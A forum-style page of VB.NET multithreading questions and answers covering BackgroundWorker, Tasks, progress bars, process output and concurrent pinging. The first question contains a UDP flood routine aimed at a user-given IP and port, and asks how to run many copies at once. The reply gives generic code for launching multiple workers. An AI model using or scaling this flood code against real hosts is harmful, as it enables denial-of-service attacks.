I have one Private sub that runs in a loop. I want the sub to run multiple times at once. For example the program runs, you press start; you run the program again and press start, again and again... the same program doing the job at once. now i just want one program do to it alone. But i would like it to be user defined. exp. run program. type in a text box 10. press start. and it works as if 10 of them work open working on the same thing.
I have seen another program made with vb.net 2010 and its what i use and do not know how to do it. so i am just wondering.
Private Sub Flood1(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles Flood.DoWork
Dim IP As IPAddress = IPAddress.Parse(TextBox1.Text)
Dim IPPort As New IPEndPoint(IP, Convert.ToInt32(TextBox2.Text))
Dim PacketS As Byte() = New Byte(TextBox3.Text) {}
Dim SocketN As Integer = Convert.ToInt32(TextBox4.Text)
Do While Flooding = True
For i = 0 To SocketN
If Flooding = True Then
Dim _Sock(i) As Socket
_Sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
Try
_Sock(i).SendTo(PacketS, IPPort)
Threading.Thread.Sleep(500)
Catch ex As Exception
Threading.Thread.Sleep(500)
End Try
Else
Exit Do
End If
Next
Loop
End Sub
Mostly want to have this work over and over at once by the users choice... kinda hoped not to use this code else might not get helped.
You can use background worker for that.
Once you know how many workers you want to do the job
just create those many instances of background worker.
Tell me if this is the answer you are looking for or not
Sample Source Code
Imports System.ComponentModel
Module Module1
Sub Main()
Console.WriteLine("Please enter the worker count:")
Dim workerCount As Integer = Console.ReadLine()
For i As Int16 = 0 To workerCount
Dim worker As BackgroundWorker = New BackgroundWorker
worker.RunWorkerAsync(i + 1)
AddHandler worker.DoWork, AddressOf Worker_DoWork
Next
End Sub
Private Sub Worker_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs)
Console.WriteLine(e.Argument.ToString())
End Sub
End Module
Related
I’ve got this issue with stopping a thread cleanly. I’ve tried to simplify it into a more basic version of the code below and I’m wondering if my approach is completely wrong here.
I have Form1 with a bunch of UI elements which need updating as BackgroundCode runs (I run it here so it’s a separate thread and it doesn’t hold up the UI) I then update the UI by invoking a sub
(Me.Invoke(Sub()
something.property=something
End Sub))
I’m also trying to handle some errors handed to the application by an external file. I’ve used a timer to check for the file and if it exists I grab the contents and pass it to my ErrorHandler. This Writes the Error out to a log file, displays it on screen and then aborts the background worker so that the program doesn’t continue to run. The trouble I’m getting is that by executing BackgroundThread.Abort() that action itself is triggering the ErrorHandler. Is there a way to ask the BackgroundThread to stop cleanly? I want BackgroundThread to trigger the ErrorHandler if something else goes wrong in that code.
I’m wondering about using a global boolean like “ErrorIsRunning” to restrict the ErrorHandler sub so that it can only ever run once, but this is starting to feel more and more hacky and I’m wondering if I’ve gone completely off track here and if there might be a better way to approach the entire thing.
Public Class Form1
Dim BackgroundThread As New Thread(AddressOf BackgroundCode)
Public Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
‘Hide Error Page
ErrorPage.Visible = False
ErrorLabel.Visible = False
‘Start Background Code
BackgroundThread.Start()
End Sub
Private Sub BackgroundCode()
Try
‘<Background code which runs over a number of minutes>
Catch.ex as Exception
ErrorHandler(“Error with BackgroundCode: “ + ex.Message)
End Try
End Sub
Private Sub Timer_Tick(sender As Object, e As EventArgs) Handles Timer.Tick
Dim ErrorFile As String = “C:\MyErrorFile.Err”
Dim ErrorContents As String
If File.Exists(ErrorFile) Then
Timer.Enabled = False
ErrorContents = File.ReadAllText(ErrorFile).Trim()
ErrorHandler(ErrorContents)
End If
End Sub
Public Sub ErrorHandler(ErrorText As String)
WriteLog(“ERROR” + ErrorText)
Me.Invoke(Sub()
Me.ErrorPage.Visible = True
Me.ErrorLabel.Text = ErrorText
End Sub)
BackgroundThread.Abort()
End Sub
End Class
Never abort threads.
This uses a Task and a ManualResetEvent. Without seeing the code inside of the background task it is hard to know how many stop checks might be needed.
Public Class Form1
Private BackgroundTask As Task
Private BackgroundTaskRunning As New Threading.ManualResetEvent(True)
Public Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
'Hide Error Page
ErrorPage.Visible = False
ErrorLabel.Visible = False
'Start Background Code
BackgroundTask = Task.Run(Sub() BackgroundCode())
End Sub
Private Sub BackgroundCode()
Try
'<Background code which runs over a number of minutes>
'put stop checks periodically
' e.g.
If Not BackgroundTaskRunning.WaitOne(0) Then Exit Sub 'stop check
Catch ex As Exception
ErrorHandler("Error with BackgroundCode: " + ex.Message)
End Try
End Sub
Private Sub Timer_Tick(sender As Object, e As EventArgs) Handles Timer.Tick
Dim ErrorFile As String = "C:\MyErrorFile.Err"
Dim ErrorContents As String
If File.Exists(ErrorFile) Then
Timer.Enabled = False
ErrorContents = File.ReadAllText(ErrorFile).Trim()
ErrorHandler(ErrorContents)
End If
End Sub
Public Sub ErrorHandler(ErrorText As String)
WriteLog("ERROR" + ErrorText)
Me.Invoke(Sub()
Me.ErrorPage.Visible = True
Me.ErrorLabel.Text = ErrorText
End Sub)
BackgroundTaskRunning.Reset() 'stop task <<<<<<<<<<<<<<<<<<<<<<<<<<<
End Sub
End Class
I have this code which loops through all my accounts in my list and then does something to the accounts using tasks for each account as a way to speed up the process. Each time the program completes this action, I want the user interface to update the progress bar. I was using Invoke before but it isn't the best option and I couldn't get it working. Now I know this can be done using a background worker but this isn't the best way of making your application multithreaded so I used this. And instead of invoking I heard about ContinueWith but I can't seem to get it working and I get no error message just a red underline.
Code:
progressBar.Value = 0
Dim tasks As New List(Of Task)()
For Each account In combos
Dim t As Task = Task.Run(Sub()
While checked = False
If proxies.Count = 0 Then
Exit Sub
'Also can't think of a good way to stop searching through accounts when there are no proxies left in my queue.
End If
Dim proxy As New WebProxy(proxies(0))
proxies.TryDequeue(0)
'Do something
End While
checkedAmount += 1
Dim progress As Integer = ((checkedAmount / combos.Count) * 100)
Task.ContinueWith(progressBar.Value = progress, TaskScheduler.FromCurrentSynchronizationContext()) 'Error here
End Sub)
tasks.Add(t)
Next
Task.WaitAll(tasks.ToArray())
I get no error code as shown here:
I have also tried putting a sub after and stuff but that lead to nothing.
Thanks for any help in advance.
Update tried with invoke:
Private Delegate Sub UpdateProgressBarDelegate(ByVal progressBarUpdate As ProgressBar, ByVal value As Integer)
Dim checkedAmount As Integer = 0
Dim checked As Boolean = False
Private Sub startBtn_Click(sender As Object, e As EventArgs) Handles startBtn.Click
progressBar.Value = 0
Dim tasks As New List(Of Task)()
For Each account In combos
Dim t As Task = Task.Run(Sub()
While checked = False
proxies.TryDequeue(0)
'do stuff
End While
checkedAmount += 1
Dim progress As Integer = ((checkedAmount / combos.Count) * 100)
If Me.InvokeRequired = True Then
Me.Invoke(New UpdateProgressBarDelegate(AddressOf UpdateProgressBar), progressBar, progress)
Else
UpdateProgressBar(progressBar, progress)
End If
'Task.ContinueWith(progressBar.Value = progress, TaskScheduler.FromCurrentSynchronizationContext())
End Sub)
tasks.Add(t)
Next
Task.WaitAll(tasks.ToArray())
End Sub
Private Sub UpdateProgressBar(ByVal ProgressBarUpdate As ProgressBar, progress As Integer)
progressBar.Value = progress
End Sub
Still doesn't work not sure why?
Now I know this can be done using a background worker but this isn't the best way of making your application multithreaded
Sort of.
BackgroundWorker is a poor way to run many different Tasks individually. No one wants to deal with a separate BackgroundWorker component for each Task. But one BackgroundWorker is a great way to spawn just one extra thread to manage all your other Tasks and update the progress bar. It's an easy solution here.
Either way, the one thing you'll want to do for sure is move the code to update the ProgressBar out of the individual Tasks. Having that inside a Tasks violates separation of concerns1. Once you do that, you'll also need to change the call to WaitAll() to use WaitAny() in a loop that knows how many tasks you have, so you can still update the ProgressBar as each Task finishes. This will likley have the side effect of fixing your current issue, as well.
Private Async Sub startBtn_Click(sender As Object, e As EventArgs) Handles startBtn.Click
Dim tasks As New List(Of Task)()
For Each account In combos
Dim t As Task = Task.Run(Sub()
While Not checked
proxies.TryDequeue(0)
'do stuff
End While
End Sub)
tasks.Add(t)
Next
progressBar.Value = 0
For i As Integer = 1 To tasks.Count
Dim t = Await Task.WhenAny(tasks)
tasks.Remove(t)
progressBar.Value = (i / combos.Count) * 100
Next i
End Sub
1 The problem here illustrates one reason we care about separation of concerns at all. Once I fix this, the code becomes much simpler and the frustrating errors just go away.
The above waitany is unnecessary.
I have found that you might as well put your progress bar code directly into the task run sub:
Dim ProgressBarSync As New Object
Dim tasks As New List(Of Task)()
For Each account In combos
Dim t As Task = Task.Run(
Sub()
'do stuff
SyncLock ProgressBarSync
ProgressBar.Increment(1)
End SyncLock
End Sub)
tasks.Add(t)
Next
I am trying to make an application to run multiple (adb specially) commands and get the output and display in a label.
First of all, i need to start the process to execute the commands. Thanks to stackoverflow and #pasty I found this (second reply): How to get Output of a Command Prompt Window line by line in Visual Basic?
Well, i thought that because it outputted to the console, it would be simple to just write it to the label. BIG MISTAKE! It gives me a cross threading error!
A little bit of googling and stack overflow I found this: vb.net accessed from a thread other than the thread it was created on
Well, i tried to implement that, but the program just crashes freezes.
Here is the code:
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
' store error output lines
Dim executable As String() = {"adb", "adb"}
Dim arguments As String() = {"help", "reboot"}
For i As Integer = 0 To 0
Dim process = New Process()
process.StartInfo = createStartInfo(executable(i), arguments(i))
process.EnableRaisingEvents = True
AddHandler process.Exited, Sub(ByVal sendera As Object, ByVal ea As System.EventArgs)
Console.WriteLine(process.ExitTime)
Console.WriteLine(". Processing done.")
'UpdateTextBox(ea)
End Sub
' catch standard output
AddHandler process.OutputDataReceived, Sub(ByVal senderb As Object, ByVal eb As DataReceivedEventArgs)
If (Not String.IsNullOrEmpty(eb.Data)) Then
Console.WriteLine(String.Format("{0}> {1}", DateTime.Now.ToString("dd.MM.yyyy HH:mm:ss"), eb.Data))
'UpdateTextBox(eb.Data)
End If
End Sub
' catch errors
AddHandler process.ErrorDataReceived, Sub(ByVal senderc As Object, ByVal ec As DataReceivedEventArgs)
Console.WriteLine(String.Format("! {0}", ec.Data))
Dim a As String = String.Format("! {0}", ec.Data)
'UpdateTextBox(a)
End Sub
' start process
Dim result = process.Start()
' and wait for output
process.BeginOutputReadLine()
' and wait for errors :-)
process.BeginErrorReadLine()
process.WaitForExit()
Next
End Sub
Private Sub UpdateTextBox(ByVal a As String)
If Me.InvokeRequired Then
Dim args() As String = {a}
Me.Invoke(New Action(Of String)(AddressOf UpdateTextBox), args)
Return
End If
Label1.Text += "a"
End Sub
Private Function createStartInfo(ByVal executable As String, ByVal arguments As String) As ProcessStartInfo
Dim processStartInfo = New ProcessStartInfo(executable, arguments)
processStartInfo.WorkingDirectory = Path.GetDirectoryName(executable)
' we want to read standard output
processStartInfo.RedirectStandardOutput = True
' we want to read the standard error
processStartInfo.RedirectStandardError = True
processStartInfo.UseShellExecute = False
processStartInfo.ErrorDialog = False
processStartInfo.CreateNoWindow = True
Return processStartInfo
End Function
And the source code: https://github.com/iAmAOpenSource/SyncfusionWindowsFormsApplication3
The call to process.WaitForExit() will block the UI thread until the spawned process exits, but while processing the output in the process.OutputDataReceived event you are calling Me.Invoke which tries to run the code on the UI thread, which is blocked, so the program freezes. You could move the logic in Button1_Click onto another thread, e.g.
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Task.Run(
Sub()
... current logic
End Sub
)
End Sub
That way the UI thread won't be blocked and the Me.Invoke call won't cause a deadlock.
I have the following code:
Dim p() As Process
Private Sub CheckIfRunning()
p = Process.GetProcessesByName("skype") 'Process name without the .exe
If p.Count > 0 Then
' Process is running
MessageBox.Show("Yes, Skype is running")
Else
' Process is not running
MessageBox.Show("No, Skype isn't running")
End If
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
CheckIfRunning()
End Sub
And it works GREAT!
But I'm wondering how I would convert this to a monitoring application, to constantly check if the processes is running. Is it as simple as putting the check on a timer every 1 second, or is there a better, more efficient way to go about this.
In the end result, I'd like to have a label that says "Running", or "Not Running" based on the process, but I need something to watch the process constantly.
If you need the app running all the time, then you don't need a Timer at all. Subscribe to the Process.Exited() event to be notified when it closes. For instance, with Notepad:
Public Class Form1
Private P As Process
Private FileName As String = "C:\Windows\Notepad.exe"
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim ps() As Process = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(FileName))
If ps.Length = 0 Then
P = Process.Start(FileName)
P.EnableRaisingEvents = True
AddHandler P.Exited, AddressOf P_Exited
Else
P = ps(0)
P.EnableRaisingEvents = True
AddHandler P.Exited, AddressOf P_Exited
End If
End Sub
Private Sub P_Exited(sender As Object, e As EventArgs)
Console.WriteLine("App Exited # " & DateTime.Now)
Console.WriteLine("Restarting app: " & FileName)
P = Process.Start(FileName)
P.EnableRaisingEvents = True
AddHandler P.Exited, AddressOf P_Exited
End Sub
End Class
That would keep it open all the time, assuming you wanted to open it if it wasn't already running.
If you don't want to open it yourself, and need to detect when it does open, then you could use WMI via the ManagementEventWatcher as in this previous SO question.
I've done something similar to this to monitor an exe that I need to be running all the time, and to restart it if it was down.
Mine was running as a Windows Service - that way it would start when windows booted and id never need to look after it.
Alternatively you could just create it as a console app and put it in your startup folder?
I had:
Sub Main()
Do
Check_server()
Dim t As New TimeSpan(0, 15, 0)
Threading.Thread.Sleep(t)
Loop
End Sub
Public Sub Check_server()
Dim current_pros() As Process = get_pros()
Dim found As Boolean = False
If Now.Hour < "22" Then
For Each pro In current_pros
If pro.ProcessName.ToLower = "Lorraine" Then
found = True
Exit For
Else
found = False
End If
Next
If found Then
Console.WriteLine("Server up")
Else
Console.WriteLine("Server down - restarting")
restart_server()
End If
End If
End Sub
My "server" app was called Lorraine...Also a timer maybe better practice than having the thread sleep..
From my experience, a simple timer works best:
'Timer interval set to 1-5 seconds... no remotely significant CPU hit
Private Sub timerTest_Tick(sender As System.Object, e As System.EventArgs) Handles timerTest.Tick
Dim p() As Process = Process.GetProcessesByName("Skype")
lblStatus.Text = If(p.Length > 0, "Skype is running.", "Skype isn't running.")
End Sub
Your mileage may vary, but I don't like to deal with separate threads unless necessary.
I have been pulling my hair out trying to get this to work. If I step through the code in debugger it all works great.
My problem is if I just run it, only the last task responds. I'm guessing I am overwriting the background working or something. I am sure I am doing a few things wrong but my code is now messy as I tried many way while searching. I know of the threadpool and .Net 4.0 tasks but having a hard time getting to do what I need.
Basicly I am writing a program (trying more likely) that takes a list of computers and pings then, then checks their uptime and reports back.
This works fine in the UI thread (Obviously that locks up my screen). I can have the background worker just do this, but then it does each computer 1 by one, and while the screen is responsive it still takes a long time.
So my answer was to have a for loop for each server launching a new background worker thread. My solution does not work.
I have seen other threads that I could do it, but I need to use with events to call code to update to UI when each is done.
What is the most simple way to do this?
Here is my code. Most is just copy paste + modify till I get it working right.
So In the main class I have the testworker.
(I tried using Testworker() but it said I could not do that WithEvents)
When I click the button the list loads.
Private WithEvents TestWorker As System.ComponentModel.BackgroundWorker
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.Windows.RoutedEventArgs) Handles Button1.Click
Button1.IsEnabled = False
Dim indexMax As Integer
indexMax = DataGridStatus.Items.Count
For index = 1 To (indexMax)
Dim Temp As ServerInfo = DataGridStatus.Items(index - 1)
Temp.Index = index - 1
Call_Thread(Temp)
Next
End Sub
Private Sub Call_Thread(ByVal server As ServerInfo)
Dim localserver As ServerInfo = server
TestWorker = New System.ComponentModel.BackgroundWorker
TestWorker.WorkerReportsProgress = True
TestWorker.WorkerSupportsCancellation = True
TestWorker.RunWorkerAsync(localserver)
End Sub
Private Sub TestWorker_DoWork(ByVal sender As Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles TestWorker.DoWork
Dim iparray As IPHostEntry
Dim ip() As IPAddress
Dim Server As ServerInfo
Server = e.Argument
Try
'Get IP Address first
iparray = Dns.GetHostEntry(Server.ServerName)
ip = iparray.AddressList
Server.IPAddress = ip(0).ToString
'Try Pinging
Server.PingResult = PingHost(Server.ServerName)
If Server.PingResult = "Success" Then
'If ping success, get uptime
Server.UpTime = GetUptime(Server.ServerName)
Else
Server.PingResult = "Failed"
End If
Catch ex As Exception
Server.PingResult = "Error"
End Try
TestWorker.ReportProgress(0, Server)
Thread.Sleep(1000)
End Sub
Private Sub TestWorker_ProgressChanged(ByVal sender As Object, ByVal e As System.ComponentModel.ProgressChangedEventArgs) Handles TestWorker.ProgressChanged
Dim index As Integer
Dim serverchange As ServerInfo = DirectCast(e.UserState, ServerInfo)
index = DataGridStatus.Items.IndexOf(serverchange)
' index = serverchange.Index
DataGridStatus.Items.Item(index) = serverchange
' ProgressBar1.Value = e.ProgressPercentage
DataGridStatus.Items.Refresh()
End Sub
You are only getting the last result because you are blowing away your BackgroundWorker each time you call TestWorker = New System.ComponentModel.BackgroundWorker. Since the processing is being done asynchronously, this line is being called multiple times within your for loop before the previous work has finished.
Something like the following might work. (Sorry, my VB is rusty; there are probably more efficient ways of expressing this.)
Delegate Function PingDelegate(ByVal server As String) As String
Private _completedCount As Int32
Private ReadOnly _lockObject As New System.Object
Dim _rnd As New Random
Private _servers As List(Of String)
Private Sub GoButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GoButton.Click
_servers = New List(Of System.String)(New String() {"adam", "betty", "clyde", "danny", "evan", "fred", "gertrude", "hank", "ice-t", "joshua"})
_completedCount = 0
ListBox1.Items.Clear()
GoButton.Enabled = False
BackgroundWorker1.RunWorkerAsync(_servers)
End Sub
Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
Dim servers As List(Of System.String) = DirectCast(e.Argument, List(Of System.String))
Dim waitHandles As New List(Of WaitHandle)
For Each server As System.String In servers
' Get a delegate for the ping operation. .Net will let you call it asynchronously
Dim d As New PingDelegate(AddressOf Ping)
' Start the ping operation async. When the ping is complete, it will automatically call PingIsDone
Dim ar As IAsyncResult = d.BeginInvoke(server, AddressOf PingIsDone, d)
' Add the IAsyncResult for this invocation to our collection.
waitHandles.Add(ar.AsyncWaitHandle)
Next
' Wait until everything is done. This will not block the UI thread because it is happening
' in the background. You could also use the overload that takes a timeout value and
' check to see if the user has requested cancellation, for example. Once all operations
' are complete, this method will exit scope and the BackgroundWorker1_RunWorkerCompleted
' will be called.
WaitHandle.WaitAll(waitHandles.ToArray())
End Sub
Private Sub BackgroundWorker1_ProgressChanged(ByVal sender As System.Object, ByVal e As System.ComponentModel.ProgressChangedEventArgs) Handles BackgroundWorker1.ProgressChanged
ListBox1.Items.Add(String.Format("{0} ({1}% done)", e.UserState, e.ProgressPercentage))
End Sub
Private Sub BackgroundWorker1_RunWorkerCompleted(ByVal sender As System.Object, ByVal e As System.ComponentModel.RunWorkerCompletedEventArgs) Handles BackgroundWorker1.RunWorkerCompleted
GoButton.Enabled = True
End Sub
Private Function Ping(ByVal server As System.String) As System.String
' Simulate a ping with random result and duration
Threading.Thread.Sleep(_rnd.Next(1000, 4000))
Dim result As Int32 = _rnd.Next(0, 2)
If result = 0 Then
Return server & " is ok"
Else
Return server & " is down"
End If
End Function
Private Sub PingIsDone(ByVal ar As IAsyncResult)
' This method is called everytime a ping operation completes. Note that the order in which
' this method fires is completely independant of the order of the servers. The first server
' to respond calls this method first, etc. This keeps optimal performance.
Dim d As PingDelegate = DirectCast(ar.AsyncState, PingDelegate)
' Complete the operation and get the result.
Dim pingResult As String = d.EndInvoke(ar)
' To be safe, we put a lock around this so that _completedCount gets incremented atomically
' with the progress report. This may or may not be necessary in your application.
SyncLock (_lockObject)
_completedCount = _completedCount + 1
Dim percent As Int32 = _completedCount * 100 / _servers.Count
BackgroundWorker1.ReportProgress(percent, pingResult)
End SyncLock
End Sub
Update: I posted this answer focusing on exactly what you were trying to do from a technical standpoint (use many background workers) without really putting much thought into whether or not this was a good way to accomplish your real objective. In fact, I think you could achieve what you're going for much more easily with a single BackgroundWorker and something like a Parallel.ForEach loop in its DoWork event handler (this takes care of a lot of the nitty gritty work in, e.g., Dave's solution).
When you declare WithEvents TestWorker As BackgroundWorker in VB it wraps it up something like this (not exactly—this is just to illustrate the idea):
Private _TestWorker As BackgroundWorker
Private Property TestWorker As BackgroundWorker
Get
Return _TestWorker
End Get
Set(ByVal value As BackgroundWorker)
' This is all probably handled in a more thread-safe way, mind you. '
Dim prevWorker As BackgroundWorker = _TestWorker
If prevWorker IsNot Nothing Then
RemoveHandler prevWorker.DoWork, AddressOf TestWorker_DoWork
' etc. '
End If
If value IsNot Nothing Then
AddHandler value.DoWork, AddressOf TestWorker_DoWork
' etc. '
End If
_TestWorker = value
End Set
End Property
When you realize this, it becomes clear that by setting TestWorker to a new BackgroundWorker on every call to Call_Thread, you are removing any attached handlers from the object previously referenced by the field.
The most obvious fix would simply be to create a new local BackgroundWorker object in each call to Call_Thread, attach the handlers there (using AddHandler and RemoveHandler), and then just let it do its thing:
Private Sub Call_Thread(ByVal server As ServerInfo)
Dim localserver As ServerInfo = server
' Use a local variable for the new worker. '
' This takes the place of the Private WithEvents field. '
Dim worker As New System.ComponentModel.BackgroundWorker
' Set it up. '
With worker
.WorkerReportsProgress = True
.WorkerSupportsCancellation = True
End With
' Attach the handlers. '
AddHandler worker.DoWork, AddressOf TestWorker_DoWork
AddHandler worker.ProgressChanged, AdressOf TestWorker_ProgressChanged
' Do the work. '
worker.RunWorkerAsync(localserver)
End Sub
Creating the worker right there in the method should be fine as long as you do so from the UI thread, since BackgroundWorker automatically attaches to the current SynchronizationContext in its constructor (if I remember correctly).
Ideally you should use only 1 backgroundworker and use it like this:
Assemble all the work that needs to be done: in your case a list of ServerInfo
Do the work in the background: ping all the servers and keep the result
Report progress: for example after each server pinged
Put results back in DoWorkEventArgs.Result
Display the results back in your UI.
You need to attach TestWorker_DoWork and TestWorker_ProgressChanged to the DoWork and ProgressChanged events within Call_Thread. I haven't yet examined the rest of the code, but that is why it isn't doing anything now.
TestWorker = New System.ComponentModel.BackgroundWorker
TestWorker.WorkerReportsProgress = True
TestWorker.WorkerSupportsCancellation = True
AddHandler TestWorker.DoWork, AddressOf TestWorker_DoWork
AddHandler TestWorker.ProgressChanged, AddressOf TestWorker_ProgressChanged
TestWorker.RunWorkerAsync(localserver)